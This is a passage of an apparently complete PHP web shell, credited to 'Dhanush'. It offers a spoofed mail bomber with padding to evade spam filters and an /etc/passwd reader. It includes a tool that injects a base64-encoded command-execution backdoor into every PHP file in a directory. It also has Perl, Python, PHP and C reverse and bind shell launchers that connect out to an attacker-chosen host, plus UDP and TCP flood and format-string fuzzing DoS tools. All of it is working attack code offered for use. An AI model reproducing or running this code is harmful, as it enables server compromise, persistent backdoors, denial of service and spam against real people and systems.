  3797.             $times = $_GET['times'];
  3798.             while($times--)
  3799.             {
  3800.                 if(isset($_GET['padding']))
  3801.                 {
  3802.                     $fromPadd = rand(0,9999);
  3803.                     $subjectPadd = " -- ID : ".rand(0,9999999);
  3804.                     $messagePadd = "\n\n------------------------------\n".rand(0,99999999);
  3805.                 }
  3806.                 $from = "president$fromPadd@whitehouse.gov";
  3807.                 if(!mail($_GET['to'],$_GET['subject'].$subjectPadd,$_GET['message'].$messagePadd,"From:".$from))
  3808.                 {
  3809.                     $error = 1;
  3810.                     echo "<center><font size=3><blink><blink>Some Error Occured!</blink></font></center>";
  3811.                     break;
  3812.                 }
  3813.             }
  3814.             if($error != 1)
  3815.             {
  3816.                 echo "<center><font class=txt size=3><blink>Mail(s) Sent!</blink></font></center>";
  3817.             }
  3818.         }
  3819.         else
  3820.         {
  3821.             ?>
  3822.             <form method="GET">
  3823.                 <input type="hidden" name="bomb" />
  3824.                 <input type="hidden" name="mailbomb" />
  3825.                 <table id="margins" style="width:100%;">
  3826.                     <tr>
  3827.                         <td style="width:30%;">
  3828.                             To
  3829.                         </td>
  3830.                         <td>
  3831.                             <input class="box" name="to" value="[email protected],[email protected]" onFocus="if(this.value == '[email protected],[email protected]')this.value = '';" onBlur="if(this.value=='')this.value='[email protected],[email protected]';"/>
  3832.                         </td>
  3833.                     </tr>
  3834.                     <tr>
  3835.                         <td style="width:30%;">
  3836.                             Subject
  3837.                         </td>
  3838.                         <td>
  3839.                             <input type="text" class="box" name="subject" value="Dhanush Here!" onFocus="if(this.value == 'Dhanush Here!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!';" />
  3840.                         </td>
  3841.                     </tr>
  3842.                      <tr>
  3843.                         <td style="width:30%;">
  3844.                             No. of Times  
  3845.                         </td>
  3846.                         <td>
  3847.                             <input class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';"/>
  3848.                         </td>
  3849.                     </tr>
  3850.                     <tr>
  3851.                         <td style="width:30%;">
  3852.                             Pad your message (Less spam detection)
  3853.                         </td>
  3854.                         <td>
  3855.                             <input type="checkbox" name="padding"/>
  3856.                         </td>
  3857.                     </tr>
  3858.                     <tr>
  3859.                         <td colspan="2">
  3860.                             <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!</textarea>
  3861.                         </td>
  3862.                     </tr>
  3863.                     <tr>
  3864.                         <td rowspan="2">
  3865.                             <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="    Bomb!  "/>
  3866.                         </td>
  3867.                     </tr>
  3868.                 </table>            
  3869.             </form>  
  3870.             <?php
  3871.         }
  3872.     }
  3873.     //Mass Mailer
  3874.     else if(isset($_GET['mail']))
  3875.     {
  3876.         if
  3877.         (isset($_GET['to']) &&  isset($_GET['from']) &&  isset($_GET['subject']) && isset($_GET['message']))
  3878.         {
  3879.             if(mail($_GET['to'],$_GET['subject'],$_GET['message'],"From:".$_GET['from']))
  3880.             {
  3881.                 echo "<center><font class=txt size=3><blink>Mail Sent!</blink></font></center>";
  3882.             }
  3883.             else
  3884.             {
  3885.                 echo "<center><font size=3><blink>Some Error Occured!</blink></font></center>";
  3886.             }
  3887.         }
  3888.         else
  3889.         {
  3890.         ?>
  3891.         <div align="left">
  3892.         <form method="GET">
  3893.             <input type="hidden" name="mail" />
  3894.             <input type="hidden" name="mailbomb" />
  3895.             <table align="left" style="width:100%;">
  3896.                 <tr>
  3897.                     <td style="width:10%;">From</td>
  3898.                     <td style="width:80%;" align="left"><input name="from" class="box" value="[email protected]" onFocus="if(this.value == '[email protected]')this.value = '';" onBlur="if(this.value=='')this.value='[email protected]';"/></td>
  3899.                 </tr>
  3900.                 <tr>
  3901.                     <td style="width:20%;">To</td>
  3902.                     <td style="width:80%;"><input class="box" class="box" name="to" value="[email protected],[email protected]" onFocus="if(this.value == '[email protected],[email protected]')this.value = '';" onBlur="if(this.value=='')this.value='[email protected],[email protected]';"/></td>
  3903.                 </tr>
  3904.                 <tr>
  3905.                     <td style="width:20%;">Subject</td>
  3906.                     <td style="width:80%;"><input type="text" class="box" name="subject" value="Dhanush Here!!" onFocus="if(this.value == 'Dhanush Here!!')this.value = '';" onBlur="if(this.value=='')this.value='Dhanush Here!!';" /></td>
  3907.                 </tr>
  3908.                 <tr>
  3909.                     <td colspan="2">
  3910.                         <textarea name="message" cols="110" rows="10" class="box">Hello !! This is Dhanush!!!</textarea>
  3911.                     </td>
  3912.                 </tr>
  3913.                 <tr>
  3914.                     <td rowspan="2">
  3915.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="   Send! "/>
  3916.                     </td>
  3917.                 </tr>
  3918.             </table>            
  3919.         </form></div>  
  3920.         <?php
  3921.     }
  3922. }
  3923. }
  3924. // View Passwd file
  3925. else if(isset($_GET['passwd']))
  3926. {
  3927.     $test='';
  3928.     $tempp= tempnam($test, "cx");
  3929.     $get = "/etc/passwd";
  3930.     if(copy("compress.zlib://".$get, $tempp))
  3931.     {
  3932.         $fopenzo = fopen($tempp, "r");
  3933.         $freadz = fread($fopenzo, filesize($tempp));
  3934.         fclose($fopenzo);
  3935.         $source = htmlspecialchars($freadz);
  3936.         echo "<tr><td><center><font size='3' face='Verdana'>$get</font><br><textarea rows='20' cols='80' class=box name='source'>$source</textarea>";
  3937.         unlink($tempp);
  3938.     }
  3939.     else
  3940.     {
  3941.         if (isset ($_GET['val1'], $_GET['val2']) && is_numeric($_GET['val1']) && is_numeric($_GET['val2']))
  3942.         {
  3943.             $temp = "";
  3944.             for(;$_GET['val1'] <= $_GET['val2'];$_GET['val1']++)
  3945.             {
  3946.                 $uid = @posix_getpwuid($_GET['val1']);
  3947.                 if ($uid)
  3948.                      $temp .= join(':',$uid)."\n";
  3949.              }
  3950.              echo '<br/>';
  3951.              paramexe('Users', $temp);
  3952.        }
  3953.        else
  3954.        {
  3955.             ?>
  3956.             <form>
  3957.                 <input type="hidden" name="passwd">
  3958.                 <table class=tbl border="1" cellpadding="5" cellspacing="5" align="center" style="width:40%;">
  3959.                 <tr>
  3960.                     <td>From : </td><td><input type="text" name="val1" class="sbox" value="1"></td>
  3961.                 </tr>
  3962.                 <tr>
  3963.                     <td>To : </td><td><input type="text" name="val2" class="sbox" value="1000"></td>
  3964.                 </tr>
  3965.                 <tr>
  3966.                     <td colspan="2" align="center"><input type="submit" value="  Go  " class="but"></td>
  3967.                 </tr>
  3968.                 </table><br>
  3969.             </form>
  3970.             <?php
  3971.        }
  3972.     }
  3973. }
  3974. // Code Injector
  3975. else if(isset($_GET['injector']))
  3976. {
  3977.     ?>
  3978.         <table id="margins" >
  3979.         <tr>
  3980.             <form method='POST'>
  3981.             <input type="hidden" name="injector"/>  
  3982.                 <tr>
  3983.                     <td width="100" class="title">
  3984.                         Directory
  3985.                     </td>
  3986.                     <td>
  3987.                          <input class="box" name="pathtomass" value="<?php echo getcwd().$SEPARATOR; ?>" />
  3988.                     </td>
  3989.                 </tr>
  3990.                 <tr>
  3991.                 <td class="title">
  3992.                     Mode
  3993.                 </td>
  3994.                 <td>
  3995.                         <select style="width: 400px;" name="mode" class="box">
  3996.                             <option value="Apender">Apender</option>
  3997.                             <option value="Overwriter">Overwriter</option>
  3998.                         </select>
  3999.                 </td>
  4000.                 </tr>
  4001.                 <tr>
  4002.                     <td class="title">
  4003.                         File Type
  4004.                     </td>
  4005.                     <td>
  4006.                         <input type="text" class="box" name="filetype" value="php" onBlur="if(this.value=='')this.value='php';" />
  4007.                     </td>
  4008.                 </tr>
  4009.                 <tr>
  4010.                     <td>Create A backdoor by injecting this code in every php file of current directory</td>
  4011.                 </tr>
  4012.                 <tr>
  4013.                     <td colspan="2">
  4014.                         <textarea name="injectthis" cols="110" rows="10" class="box"><?php echo base64_decode("PD9waHAgJGNtZCA9IDw8PEVPRA0KY21kDQpFT0Q7DQoNCmlmKGlzc2V0KCRfUkVRVUVTVFskY21kXSkpIHsNCnN5c3RlbSgkX1JFUVVFU1RbJGNtZF0pOyB9ID8+"); ?></textarea>
  4015.                     </td>
  4016.                 </tr>
  4017.                 <tr>
  4018.                     <td rowspan="2">
  4019.                         <input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="but" value="Inject "/>
  4020.                     </td>
  4021.                 </tr>
  4022.         </form>
  4023.         </table>
  4024.         <?php
  4025. }
  4026. // Connect
  4027. else if(isset($_GET['connect']))
  4028. {
  4029.     ?>
  4030.     <table style="width:50%" align="center" >
  4031.     <tr>
  4032.         <th colspan="1" width="50px">Reverse Shell</th>
  4033.         <th colspan="1" width="50px">Bind Shell</th>
  4034.     </tr>
  4035.     <tr>
  4036.         <form action='<?php echo $self; ?>?connect' method='post' >  
  4037.          <td>
  4038.             <table style="border-spacing: 6px;">
  4039.                 <tr>
  4040.                     <td>IP </td>
  4041.                     <td>
  4042.                         <input type="text" class="box" style="width: 200px;" name="ip" value="<?php yourip();?>" />
  4043.                     </td>
  4044.                 </tr>
  4045.                 <tr>
  4046.                     <td>Port </td>
  4047.                     <td><input style="width: 200px;" class="box" name="port" size='5' value="21"/></td>
  4048.                 </tr>
  4049.                 <tr>
  4050.                     <td style="vertical-align:top;">Use:</td>  
  4051.                     <td><select style="width: 95px;" name="lang" class="sbox">
  4052.                         <option value="perl">Perl</option>
  4053.                         <option value="python">Python</option>
  4054.                         <option value="php">PHP</option>
  4055.                         </select>&nbsp;&nbsp;
  4056.                     <input style="width: 90px;" class="but" type="submit" value="Connect!"/></td>
  4057.                </tr>
  4058.             </table>
  4059.          </td>
  4060.       </form>
  4061.          <form action='<?php echo $self; ?>?connect' method='post' >
  4062.          <td style="vertical-align:top;">
  4063.             <table style="border-spacing: 6px;">
  4064.                 <tr>
  4065.                     <td>Port</td>
  4066.                     <td>
  4067.                         <input style="width: 200px;" class="box" name="port" value="21" />
  4068.                     </td>
  4069.                 </tr>
  4070.                 <tr>
  4071.                     <td>Password </td>
  4072.                     <td>
  4073.                         <input style="width: 200px;" class="box" name="passwd" value="Dhanush"/>
  4074.                     </td>
  4075.                     <tr>
  4076.                         <td>Using</td>
  4077.                         <td>
  4078.                         <select style="width: 95px;" name="lang" id="lang" class="sbox">
  4079.                         <option value="perl">Perl</option>
  4080.                         <option value="c">Python</option>
  4081.                         </select>&nbsp;&nbsp;
  4082.                         <input style="width: 90px;" class="but" type="submit" value=" Bind "/></td>
  4083.                 </tr>
  4084.             </table>
  4085.          </td>
  4086.          </form>
  4087.     </tr>
  4088.     </table>
  4089.     <div align="center">Click "Connect" only after open port for it. You should use NetCat?, run "nc -l -n -v -p 21"!</div>
  4090.     <p align="center">Note : After clicking Submit button , The browser will start loading continuously , Dont close this window , Unless you are done!</p>
  4091.     <?php
  4092.     if(isset($_POST['ip']) &&   isset($_POST['port']) &&  $_POST['ip'] != "" && $_POST['port'] != ""  )
  4093.     {
  4094.         $host = $_POST['ip'];
  4095.         $port = $_POST['port'];
  4096.         if($_POST["lang"] == "perl")
  4097.         {
  4098.             if(is_writable("."))
  4099.             {  
  4100.                 @$fh=fopen(getcwd()."/bc.pl",'w');
  4101.                 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  4102.                 @fclose($fh);
  4103.                 echo "<font class=txt size=3>Trying to connect...</font></br>";
  4104.                 execmd("perl ".getcwd()."/bc.pl $host $port &",$disable);
  4105.                 if(!@unlink(getcwd()."/bc.pl")) echo "<font size=3>Warning: Failed to delete reverse-connection program</font></br>";
  4106.             }
  4107.             else
  4108.             {
  4109.                 @$fh=fopen("/tmp/bc.pl","w");
  4110.                 @fwrite($fh,gzuncompress(base64_decode($backconnect_perl)));
  4111.                 @fclose($fh);
  4112.                 echo "<font class=txt size=3>Trying to connect...</font></br>";
  4113.                 execmd("perl /tmp/bc.pl $host $port &",$disable);
  4114.                 if(!@unlink("/tmp/bc.pl")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4115.             }
  4116.         }
  4117.         else if($_POST["lang"] == "python")
  4118.         {
  4119.             if(is_writable("."))
  4120.             {
  4121.                  $w_file=@fopen(getcwd()."/bc.py","w");
  4122.                  if($w_file)
  4123.                  {
  4124.                      @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  4125.                      @fclose($w_file);
  4126.                  }
  4127.                  chmod('bc.py', 0777);
  4128.                  $blah = execmd("python ".getcwd()."/bc.py $host $port &");
  4129.                  echo "<font class=txt size=3>Trying to connect...</font></br>";
  4130.                  if(!@unlink("bc.py")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";               
  4131.             }
  4132.             else
  4133.             {
  4134.                      chmod('/tmp/bc.py', 0777);
  4135.                  $w_file=@fopen("/tmp/bc.py","w") or err();
  4136.                  if($w_file)
  4137.                  {
  4138.                      @fputs($w_file,gzuncompress(base64_decode($back_connect_p)));
  4139.                      @fclose($w_file);
  4140.                  }
  4141.                  $blah = execmd("python /tmp/bc.py 127.0.0.1 21 &");
  4142.                  echo "<font class=txt size=3>Trying to connect...</font></br>";
  4143.                  if(!@unlink("/tmp/bc.py")) echo "<font><h2>Warning: Failed to delete reverse-connection program<</h2>/font></br>";
  4144.             }
  4145.         }
  4146.         else if($_POST["lang"] == "php")
  4147.         {
  4148.              echo "<font class=txt size=3>Attempting to connect...</font>";
  4149.             $ip = $_POST['ip'];
  4150.             $port=$_POST['port'];
  4151.             $sockfd=fsockopen($ip , $port , $errno, $errstr );
  4152.             if($errno != 0)
  4153.             {
  4154.                 echo "<font class=txt><b>$errno</b> : $errstr</font>";
  4155.             }
  4156.             else if (!$sockfd)
  4157.             {
  4158.                    $result = "<p>Fatal : An unexpected error was occured when trying to connect!</p>";
  4159.             }
  4160.             else
  4161.             {
  4162.                 fputs ($sockfd ,"\n=================================================================\nCoded By Arjun\n=================================================================");
  4163.              $pwd = exec_all("pwd");
  4164.              $sysinfo = exec_all("uname -a");
  4165.              $id = exec_all("id");
  4166.              $len = 1337;
  4167.              fputs($sockfd ,$sysinfo . "\n" );
  4168.              fputs($sockfd ,$pwd . "\n" );
  4169.              fputs($sockfd ,$id ."\n\n" );
  4170.              fputs($sockfd ,$dateAndTime."\n\n" );
  4171.              while(!feof($sockfd))
  4172.              {  
  4173.                 $cmdPrompt ="(dhanush)[$]> ";
  4174.                 fputs ($sockfd , $cmdPrompt );
  4175.                 $command= fgets($sockfd, $len);
  4176.                 fputs($sockfd , "\n" . exec_all($command) . "\n\n");
  4177.             }
  4178.             fclose($sockfd);
  4179.             }
  4180.         }
  4181.     }
  4182.     else if(isset($_POST['passwd']) && isset($_POST['port']) && isset($_POST['lang']))
  4183.     {
  4184.          $passwd = $_POST['passwd'];
  4185.          if($_POST['lang'] == 'c')
  4186.          {
  4187.             if(is_writable("."))
  4188.             {  
  4189.                 @$fh=fopen(getcwd()."/bp.c",'w');
  4190.                 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  4191.                 @fclose($fh);
  4192.                 execmd("chmod ".getcwd()."/bp.c 0755");
  4193.                 execmd("gcc -o ".getcwd()."/bp ".getcwd()."/bp.c");
  4194.                 execmd("chmod ".getcwd()."/bp 0755");
  4195.                 $out = execmd(getcwd()."/bp"." ".$_POST['port']." ". $passwd ." &");
  4196.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4197.             }
  4198.             else
  4199.             {
  4200.                 @$fh=fopen("/tmp/bp.c","w");
  4201.                 @fwrite($fh,gzinflate(base64_decode($bind_port_c)));
  4202.                 @fclose($fh);
  4203.                 execmd("chmod /tmp/bp.c 0755");
  4204.                 execmd("gcc -o /tmp/bp /tmp/bp.c");
  4205.                 $out = execmd("/tmp/bp"." ".$_POST['port']." ". $passwd ." &");
  4206.                 echo "<pre>$out\n".execmd("ps aux | grep bp")."</pre>";
  4207.             }
  4208.         }
  4209.         if($_POST['lang'] == 'perl')
  4210.         {
  4211.             if(is_writable("."))
  4212.             {  
  4213.                 @$fh=fopen(getcwd()."/bp.pl",'w');
  4214.                 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  4215.                 @fclose($fh);
  4216.                 execmd("chmod ".getcwd()."/bp.pl 0755");
  4217.                 $out = execmd("perl ".getcwd()."/bp.pl" . " " . $passwd ." &");
  4218.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4219.             }
  4220.             else
  4221.             {
  4222.                 @$fh=fopen("/tmp/bp.pl","w");
  4223.                 @fwrite($fh,gzinflate(base64_decode($bind_port_p)));
  4224.                 @fclose($fh);
  4225.                 $out = execmd("perl /tmp/bp.pl ". $passwd ." &");
  4226.                 echo "<pre>$out\n".execmd("ps aux | grep bp.pl")."</pre>";
  4227.             }
  4228.         }
  4229.     }
  4230. }
  4231. //fuzzer
  4232. else if(isset($_GET['fuzz']))
  4233. {
  4234.     if(isset($_GET['ip']) &&
  4235.     isset($_GET['port']) &&
  4236.     isset($_GET['times']) &&
  4237.     isset($_GET['time']) &&
  4238.     isset($_GET['message']) &&
  4239.     isset($_GET['messageMultiplier']) &&
  4240.     $_GET['message'] != "" &&
  4241.     $_GET['time'] != "" &&
  4242.     $_GET['times'] != "" &&
  4243.     $_GET['port'] != "" &&
  4244.     $_GET['ip'] != "" &&
  4245.     $_GET['messageMultiplier'] != ""
  4246.     )
  4247.     {
  4248.        $IP=$_GET['ip'];
  4249.        $port=$_GET['port'];
  4250.        $times = $_GET['times'];
  4251.        $timeout = $_GET['time'];
  4252.        $send = 0;
  4253.        $ending = "";
  4254.        $multiplier = $_GET['messageMultiplier'];
  4255.        $data = "";
  4256.        $mode="tcp";
  4257.        $data .= "GET /";
  4258.        $ending .= " HTTP/1.1\n\r\n\r\n\r\n\r";
  4259.         if($_GET['type'] == "tcp")
  4260.         {
  4261.             $mode = "tcp";
  4262.         }
  4263.         while($multiplier--)
  4264.         {
  4265.             $data .= urlencode($_GET['message']);
  4266.         }
  4267.         $data .= "%s%s%s%s%d%x%c%n%n%n%n";// add some format string specifiers
  4268.         $data .= "by-Dhanush".$ending;
  4269.         $length = strlen($data);
  4270.        echo "Sending Data :- <br /> <p align='center'>$data</p>";
  4271.        print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4272.        for($i=0;$i<$times;$i++)
  4273.        {
  4274.             $socket = fsockopen("$mode://$IP", $port, $error, $errorString, $timeout);
  4275.             if($socket)
  4276.             {
  4277.                 fwrite($socket , $data , $length );
  4278.                 fclose($socket);
  4279.             }
  4280.         }
  4281.         echo "<script>alert('Fuzzing Completed!');</script>";
  4282.         echo "DOS attack against $mode://$IP:$port completed on ".date("h:i:s A")."<br />";
  4283.         echo "Total Number of Packets Sent : " . $times . "<br />";
  4284.         echo "Total Data Sent = ". HumanReadableFilesize($times*$length) . "<br />";
  4285.         echo "Data per packet = " . HumanReadableFilesize($length) . "<br />";
  4286.     }
  4287.     else
  4288.     {
  4289.         ?>
  4290.         <form method="GET">
  4291.             <input type="hidden" name="fuzz" />
  4292.             <table id="margins">
  4293.                 <tr>
  4294.                     <td width="400" class="title">
  4295.                         IP
  4296.                     </td>
  4297.                     <td>
  4298.                         <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4299.                     </td>
  4300.                 </tr>
  4301.                 <tr>
  4302.                     <td class="title">
  4303.                         Port
  4304.                     </td>
  4305.                     <td>
  4306.                         <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4307.                     </td>
  4308.                 </tr>
  4309.                 <tr>
  4310.                     <td class="title">
  4311.                         Timeout
  4312.                     </td>
  4313.                     <td>
  4314.                         <input type="text" class="box" name="time" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';"/>
  4315.                     </td>
  4316.                 </tr>
  4317.                 <tr>
  4318.                     <td class="title">
  4319.                         No of times
  4320.                     </td>
  4321.                     <td>
  4322.                         <input type="text" class="box" name="times" value="100" onFocus="if(this.value == '100')this.value = '';" onBlur="if(this.value=='')this.value='100';" />
  4323.                     </td>
  4324.                 </tr>
  4325.                 <tr>
  4326.                     <td class="title">
  4327.                         Message (The message Should be long and it will be multiplied with the value after it)
  4328.                     </td>
  4329.                     <td>
  4330.                         <input class="box" name="message" value="%S%x--Some Garbage here --%x%S" onFocus="if(this.value == '%S%x--Some Garbage here --%x%S')this.value = '';" onBlur="if(this.value=='')this.value='%S%x--Some Garbage here --%x%S';"/>
  4331.                     </td>
  4332.                     <td>
  4333.                         x
  4334.                     </td>
  4335.                     <td width="20">
  4336.                         <input style="width: 30px;" class="box" name="messageMultiplier" value="10" />
  4337.                     </td>
  4338.                 </tr>
  4339.                 <tr>
  4340.                     <td rowspan="2">
  4341.                         <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="  Submit  "/>
  4342.                     </td>
  4343.                 </tr>
  4344.             </table>            
  4345.         </form>
  4346.         <?php
  4347.     }
  4348. }
  4349.     //DDos
  4350.     else if(isset($_GET['dos']))
  4351.     {
  4352.         if(isset($_GET['ip']) &&  isset($_GET['exTime']) && isset($_GET['port']) && isset($_GET['timeout']) && isset($_GET['exTime']) && $_GET['exTime'] != "" &&
  4353.         $_GET['port'] != "" && $_GET['ip'] != "" && $_GET['timeout'] != "" && $_GET['exTime'] != "" )
  4354.         {
  4355.            $IP=$_GET['ip'];
  4356.            $port=$_GET['port'];
  4357.            $executionTime = $_GET['exTime'];
  4358.            $noOfBytes = $_GET['noOfBytes'];
  4359.            $data = "";
  4360.            $timeout = $_GET['timeout'];
  4361.            $packets = 0;
  4362.            $counter = $noOfBytes;
  4363.            $maxTime = time() + $executionTime;;
  4364.            while($counter--)
  4365.            {
  4366.                 $data .= "X";
  4367.            }
  4368.            $data .= " Dhanush";
  4369.            print "I am at ma Work now :D ;D! Dont close this window untill you recieve a message <br>";
  4370.            while(1)
  4371.            {
  4372.                 $socket = fsockopen("udp://$IP", $port, $error, $errorString, $timeout);
  4373.                 if($socket)
  4374.                 {
  4375.                     fwrite($socket , $data);
  4376.                     fclose($socket);
  4377.                     $packets++;
  4378.                 }
  4379.                 if(time() >= $maxTime)
  4380.                 {
  4381.                     break;
  4382.                 }
  4383.             }
  4384.             echo "<script>alert('Dos Completed!');</script>";
  4385.             echo "DOS attack against udp://$IP:$port completed on ".date("h:i:s A")."<br />";
  4386.             echo "Total Number of Packets Sent : " . $packets . "<br />";
  4387.             echo "Total Data Sent = ". HumanReadableFilesize($packets*$noOfBytes) . "<br />";
  4388.             echo "Data per packet = " . HumanReadableFilesize($noOfBytes) . "<br />";
  4389.         }
  4390.         else
  4391.         {
  4392.             ?>
  4393.             <form method="GET">
  4394.                 <input type="hidden" name="dos" />
  4395.                 <table id="margins">
  4396.                     <tr>
  4397.                         <td width="400" class="title">
  4398.                             IP
  4399.                         </td>
  4400.                         <td>
  4401.                             <input class="box" name="ip" value="127.0.0.1" onFocus="if(this.value == '127.0.0.1')this.value = '';" onBlur="if(this.value=='')this.value='127.0.0.1';"/>
  4402.                         </td>
  4403.                     </tr>
  4404.                     <tr>
  4405.                         <td class="title">
  4406.                             Port
  4407.                         </td>
  4408.                         <td>
  4409.                             <input class="box" name="port" value="80" onFocus="if(this.value == '80')this.value = '';" onBlur="if(this.value=='')this.value='80';"/>
  4410.                         </td>
  4411.                     </tr>
  4412.                     <tr>
  4413.                         <td class="title">
  4414.                             Timeout (Time in seconds)
  4415.                         </td>
  4416.                         <td>
  4417.                             <input type="text" class="box" name="timeout" value="5" onFocus="if(this.value == '5')this.value = '';" onBlur="if(this.value=='')this.value='5';" />
  4418.                         </td>
  4419.                     </tr>
  4420.                     <tr>
  4421.                         <td class="title">
  4422.                             Execution Time (Time in seconds)
  4423.                         </td>
  4424.                         <td>
  4425.                             <input type="text" class="box" name="exTime" value="10" onFocus="if(this.value == '10')this.value = '';" onBlur="if(this.value=='')this.value='10';"/>
  4426.                         </td>
  4427.                     </tr>
  4428.                     <tr>
  4429.                         <td class="title">
  4430.                             No of Bytes per/packet
  4431.                         </td>
  4432.                         <td>
  4433.                             <input type="text" class="box" name="noOfBytes" value="999999" onFocus="if(this.value == '999999')this.value = '';" onBlur="if(this.value=='')this.value='999999';"/>
  4434.                         </td>
  4435.                     </tr>
  4436.                     <tr>
  4437.                         <td rowspan="2">
  4438.                             <input style="margin : 20px; margin-left: 500px; padding : 10px; width: 100px;" type="submit" class="but" value="   Attack >> "/>
  4439.                         </td>
  4440.                     </tr>
  4441.                 </table>            
  4442.             </form>
  4443.             <?php
  4444.         }
  4445.     }
  4446. // Sec info
  4447. else if(isset($_GET['secinfo']))
  4448. { ?>
  4449. <br><br><center><font size=5>Server security information</font><br><br></center>
  4450.     <table style="width:100%;" border="1" class="tbl">
  4451.     <tr>
  4452.         <td style="width:7%;">Curl</td>
  4453.         <td style="width:7%;">Oracle</td>
  4454.         <td style="width:7%;">MySQL</td>
  4455.         <td style="width:7%;">MSSQL</td>
  4456.         <td style="width:7%;">PostgreSQL</td>
  4457.         <td style="width:12%;">Open Base Directory</td>
  4458.         <td style="width:10%;">Safe_Exec_Dir</td>
  4459.         <td style="width:7%;">PHP Version</td>
  4460.         <td style="width:7%;">Server Admin</td>
  4461.     </tr>
  4462.     <tr>
  4463.         <td style="width:7%;"><font class="txt"><?php curlinfo(); ?></font></td>
  4464.         <td style="width:7%;"><font class="txt"><?php oracleinfo(); ?></font></td>
  4465.         <td style="width:7%;"><font class="txt"><?php mysqlinfo(); ?></font></td>
  4466.         <td style="width:7%;"><font class="txt"><?php mssqlinfo(); ?></font></td>
  4467.         <td style="width:7%;"><font class="txt"><?php postgresqlinfo(); ?></font></td>
  4468.         <td style="width:12%;"><font class="txt"><?php echo $basedir; ?></font></td>
  4469.         <td style="width:10%;"><font class="txt"><?php if(@function_exists('ini_get')) { if (''==($df=@ini_get('safe_mode_exec_dir'))) {echo "NONE</b>";}else {echo "<font class=txt>$df</font></b>";};} ?></font></td>
  4470.         <td style="width:7%;"><font class="txt"><?php phpver(); ?></font></td>
  4471.         <td style="width:7%;"><font class="txt"><?php serveradmin(); ?></font></td>
  4472.     </tr>
  4473. </table><br> <?php
  4474.     mysecinfo();
  4475. }
  4476. else if(isset($_GET["com"]))
  4477. {
  4478.     echo "<br>";
  4479.     ob_start();
  4480.     eval("phpinfo();");
  4481.     $b = ob_get_contents();
  4482.     ob_end_clean();
  4483.     $a = strpos($b,"<body>")+6;
  4484.     $z = strpos($b,"</body>");
  4485.     $s_result = "<div class='myphp'>".substr($b,$a,$z-$a)."</div>";
  4486.     echo $s_result;
  4487. }
  4488. else if(isset($_GET['perms']))
  4489. {
  4490. ?>
  4491.     <form method="POST" action="<?php echo $self; ?>" >
  4492.     <input type="hidden" name="myfilename" value="<?php echo $_GET['file']; ?>">
  4493.         <table class=tbl align="center" border="1" style="width:40%;">
  4494.             <tr>
  4495.                 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
  4496.             </tr>
  4497.             <tr>
  4498.                 <td colspan="2" align="center" style="height:60px">
  4499.         <input type="Submit" value="Change Permission" class="but" style="padding: 5px;" name="changeperms"/></td>
  4500.             </tr>
  4501.         </table>
  4502.     </form>  
  4503.     <?php
  4504. }
  4505. else if(isset($_GET['rename']))
  4506. {
  4507. ?>
  4508.     <form method="GET" action="<?php echo $self; ?>" >
  4509.     <input type="hidden" name="getdir" value="<?php echo $_GET['getdir']; ?>">
  4510.         <table>
  4511.             <tr>
  4512.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" name="file" class="box" /></td>
  4513.             </tr>
  4514.             <tr>
  4515.                 <td>To </td><td> : </td><td><input value="<?php echo $_GET['rename'];?>" name="to" class="box" /></td>
  4516.             </tr>
  4517.         </table>
  4518.         <br>
  4519.         <input type="Submit" value="Rename It" class="but" style="margin-left: 160px;padding: 5px;"/>
  4520. </form>  
  4521.     <?php
  4522. }
  4523.  else if(isset($_GET['open']))
  4524. {
  4525.     ?>
  4526.         <form method="POST" action="<?php echo $self;?>"\>
  4527.         <table>
  4528.             <tr>
  4529.                 <td>File </td><td> : </td><td><input value="<?php echo $_GET['open'];?>" class="box" name="file" /></td>
  4530.             </tr>
  4531.             <tr>
  4532.                 <td>Size </td><td> : </td><td><input value="<?php echo filesize($_GET['open']);?>" class="box" /></td>
  4533.             </tr>
  4534.         </table>
  4535.         <textarea name="content" rows="20" cols="100" class="box"><?php
  4536.         $content = htmlspecialchars(file_get_contents($_GET['open']));
  4537.         if($content)
  4538.         {
  4539.             echo $content;
  4540.         }
  4541.         else if(function_exists('fgets') && function_exists('fopen') && function_exists('feof'))
  4542.         {
  4543.             fopen($_GET['open']);
  4544.             while(!feof())
  4545.             {
  4546.                 echo htmlspecialchars(fgets($_GET['open']));
  4547.             }
  4548.         }
  4549.         ?>
  4550.         </textarea><br />
  4551.         <input name="save" type="Submit" value="Save Changes" id="spacing" class="but"/>
  4552.         </form>
  4553.     <?php
  4554. }
  4555. else if(isset($_POST['file']) &&
  4556.         isset($_POST['content']) )
  4557. {
  4558.     if(is_dir($_POST['file']))
  4559.     {
  4560.         header("location:".$self."?dir=".$_POST['file']);
  4561.     }
  4562.     if(file_exists($_POST['file']))
  4563.     {
  4564.         $handle = fopen($_POST['file'],"w");
  4565.         fwrite($handle,$_POST['content']);
  4566.         header("Location:$self");
  4567.     }
  4568.     else
  4569.     {
  4570.         echo "<p class='alert'>File Name Specified does not exists!</p>";
  4571.     }
  4572. }
  4573. else if(isset($_GET['selfkill']))
  4574. {
  4575.     unlink(__FILE__);
